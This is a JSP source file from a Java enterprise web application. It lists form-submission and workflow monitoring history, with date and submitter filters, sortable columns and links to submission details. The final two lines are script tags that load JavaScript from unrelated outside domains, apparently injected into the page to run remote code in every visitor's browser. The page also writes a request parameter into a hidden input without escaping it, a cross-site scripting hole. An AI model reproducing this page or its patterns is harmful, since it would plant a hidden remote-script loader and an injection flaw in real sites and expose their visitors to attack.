<%
/*
 * @(#)ListFormMonitoringHistory.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListFormMonitoringHistory.jsp

  This is a ListFormMonitoringHistory page.  It shows the all form template that can be initiate by the current user in EIP.

    @author             Vera Wang
    @company            DCIVision Ltd
    @creation date      20/09/2005
    @version            $Revision: 1.8.2.16 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listFormSubmissionForm" scope="request" class="com.dcivision.form.web.ListFormSubmissionForm"/>
<script language="JavaScript">
<!--
function OpSearch(frm, sortValue, sortOrder) {
  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }

  frm.sortAttribute.value = sortValue;
  frm.sortOrder.value = sortOrder;
  frm.curStartRowNo.value = 1;

  frm.submit();
  return false;
}

function OpReset(frm) {
  frm.fromDate.value = "";
  frm.dummy_fromDate.value = "";
  frm.toDate.value = "";
  frm.dummy_toDate.value = "";
  frm.searchSubmitter.value="";
  frm.dummy_searchSubmitter.value="";
  //frm.basicSearchField.value="";
  //frm.basicSearchType.value="";
  //frm.basicSearchKeyword.value="";
  frm.curStartRowNo.value = 1;

  frm.navMode.value = NAV_MODE_LIST;
  frm.submit();
  return false;
}

-->
</script>
<%

  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  FormRecordDAObject formRecordDAO =  new FormRecordDAObject(sessionContainer, conn);
  FormRecord formRecord = (FormRecord)request.getAttribute("formRecord");
  List searchElmentList = formRecordDAO.getSearchElementListByFormRecordID(formRecord.getID());
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String  LIST_NAME = "formMonitoringHistoryList";
  String    opMode = listFormSubmissionForm.getOpMode();
  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.step_name", "STEP_NAME"},
                            {"common.label.updater", "CREATOR_ID"},
                            {"common.label.update_date", "CREATE_DATE"},
                            {"form.columnheader.workflow_step_status", "STATUS"}
                          };

  String[][]  LABEL_MAP_WHOLE_FORM = { {"ID", "ID"},
                            {"common.label.view", GlobalConstant.NOT_AVAILABLE},
                            {"workflow.columnheader.workflow_code", "WORKFLOW_CODE"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                         //   {"workflow.columnheader.step_name", "STEP_NAME"},
                            {"form.columnheader.submitted_by", "CREATOR_ID"},
                            {"form.columnheader.submit_date", "CREATE_DATE"},
                            {"form.columnheader.submission_status","STATUS"}
                          };

  String[][] SEARCH_MAP = { {"form.label.form_code", "FORM_CODE"},
                            {"form.columnheader.form_version", "FORM_VERSION"},
                            {"form.label.title", "TITLE"}
                          };

  int     COLUMN_OFFSET = 0;

  boolean isConsolidatedView  = (!Utility.isEmpty(listFormSubmissionForm.getSearchFormDisplayType()) && !"null".equals(listFormSubmissionForm.getSearchFormDisplayType())) ? true : false;

  String returnURL = "ListFormMonitoringDetail.do?&formGroupID="+formRecord.getFormGroupID()+"&formRecordID="+formRecord.getID()+"&opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;


  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>

<!-- Form Section Begin -->
<html:form action="form/ListFormMonitoringHistory" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="formRecordID"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="workflowStepID"/>
<html:hidden property="progressID"/>
<html:hidden property="submissionID"/>
<html:hidden property="searchFormDisplayType"/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>


<layout:listBar>
<div class="button">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
</div>
<layout:filterControl/>
</layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
<div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
<div>
<table>
  <tr>
    <td class="filterPanelItem" nowrap >
     <bean:message key='log.columnheader.event_date'/>:
    </td>
    <td class="filterPanelItem" nowrap >
     <bean:message key='common.label.period_from'/>:
     <html:datepicker property="fromDate"/>
    </td>
    <td class="filterPanelItem" nowrap >
     <bean:message key='common.label.period_to'/>:
     <html:datepicker property="toDate"/>
    </td>
    <td class="filterPanelItem" nowrap >
     <bean:message key='common.label.updater'/>: <html:userpicker property='searchSubmitter'/>
    </td>
 </tr>
</table>
</div>
<div class="buttonContainer">
   <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return OpSearch(listFormSubmissionForm, '${listFormSubmissionForm.sortAttribute}', '${listFormSubmissionForm.sortOrder}')" />
   <html:standardButton label="common.label.remove_filter" onClick="return(OpReset(listFormSubmissionForm))"/>
</div>
<br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listFormSubmissionForm" labelMap="<%=isConsolidatedView ? LABEL_MAP_WHOLE_FORM : LABEL_MAP%>" sortAttribute="<%=listFormSubmissionForm.getSortAttribute()%>" sortOrder="<%=listFormSubmissionForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="formSubmission" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)formSubmission).getID()%>);">
    <td align="center" width="30">
      <%if (!Utility.isEmpty(formRecord.getFormDocID()) ){%>
        <a href="#" onclick="javascript:window.open('GenerateXML.do?navMode=V&formRecordID=<%=((FormSubmission)formSubmission).getFormRecordID()%>&formDocID=<%=formRecord.getFormDocID()%>&formSubmissionID=<%=((FormSubmission)formSubmission).getID()%>&status=R','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80')"><html:img src='IconView.gif'  align='absmiddle'/></a>
      <%}else{
         if (isConsolidatedView){
           %>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&functionFrom=ListFormMonitoringHistory&isViewUserStep=true&formDataSeq=<bean:write name='formSubmission' property='seq'/>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
       <%}else{
           if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&functionFrom=ListFormMonitoringHistory&workflowRecordID=<%=((FormSubmission)formSubmission).getWorkflowRecordID()%>&workflowStepID=<%=((FormSubmission)formSubmission).getWorkflowStepID()%>&progressID=<%=((FormSubmission)formSubmission).getProgressID()%>&isViewUserStep=true&formDataSeq=<%=((FormSubmission)formSubmission).getSeq()%>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
         <%}else{%>
            <a href="MaintFormSubmission.do?navMode=V&formRecordID=<bean:write name='formSubmission' property='formRecordID'/>&formSubmissionID=<bean:write name='formSubmission' property='ID'/>&function=FORMMONITOR&formDataSeq=<bean:write name='formSubmission' property='seq'/>&userRecordID=<bean:write name='formSubmission' property='creatorID'/>&functionFrom=ListFormMonitoringHistory"><html:img src='IconSearchStaff.gif'  align='absmiddle'/></a>
         <%}
        }%>
     <%}%>
    </td>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='workflowCode'/><%}%>
    <%
      List wfRelationRow = (List)((FormSubmission)formSubmission).getWorkflowRelationshipList();
      for (int x = 0; x < wfRelationRow.size(); x++) {
        com.dcivision.workflow.bean.WorkflowRecord wfRec = (com.dcivision.workflow.bean.WorkflowRecord)((Object[])wfRelationRow.get(x))[0];
        Integer trackID = (Integer)((Object[])wfRelationRow.get(x))[1];
        String wfMsg = TextUtility.escapeJSString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.related_to_workflow", wfRec.getWorkflowCode() + " - " + wfRec.getDescription() + " (" + wfRec.getWorkflowVersion() + ")"));
        %><a href="#" onmouseover="return getPopupInfo('<%=wfMsg%>')" onmouseout="return nd()" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/PreviewWorkflowRecord.do?ID=<%=wfRec.getID()%>&trackID=<%=trackID%>', 'DCIVisionWFRelation', 750, 500, 'scrollbars=yes')"><html:img src='IconWorkflowRelated.gif' /></a>
        <%
      }
      %>
    </td>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='trackID'/><%}%></td>
    <%if (!isConsolidatedView){%>
    <td><%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%><bean:write name='formSubmission' property='workflowStepName'/><%}%></td>
    <%}%>
    <td><bean:write name='formSubmission' property='creatorName'/></td>
        <td><bean:write name='formSubmission' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></td>
        <td>
        <%if (isConsolidatedView){%>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
           <bean:message key='form.label.submission_status_S'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
           <bean:message key='form.label.submission_status_M'/>
           </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
           <bean:message key='form.label.submission_status_P'/>
          </logic:equal>
          <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
           <bean:message key='form.label.submission_status_C'/>
          </logic:equal>
       <%}else{%>
          <%if (!Utility.isEmpty( ((FormSubmission)formSubmission).getWorkflowRecordID() ) ){%>
           <bean:message key='<%="workflow.label.step_status_"+ ((FormSubmission)formSubmission).getStatus()%>'/>
          <%}else{%>
           <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
            <bean:message key='form.label.submission_status_S'/>
           </logic:equal>
           <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SUBMIT%>'>
           <bean:message key='form.label.submission_status_M'/>
           </logic:equal>
           <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_PENDING%>'>
           <bean:message key='form.label.submission_status_P'/>
           </logic:equal>
           <logic:equal name='formSubmission' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_COMPLETED%>'>
           <bean:message key='form.label.submission_status_C'/>
           </logic:equal>
         <%}
       }%>
        </td>
    </td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listFormSubmissionForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
<!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>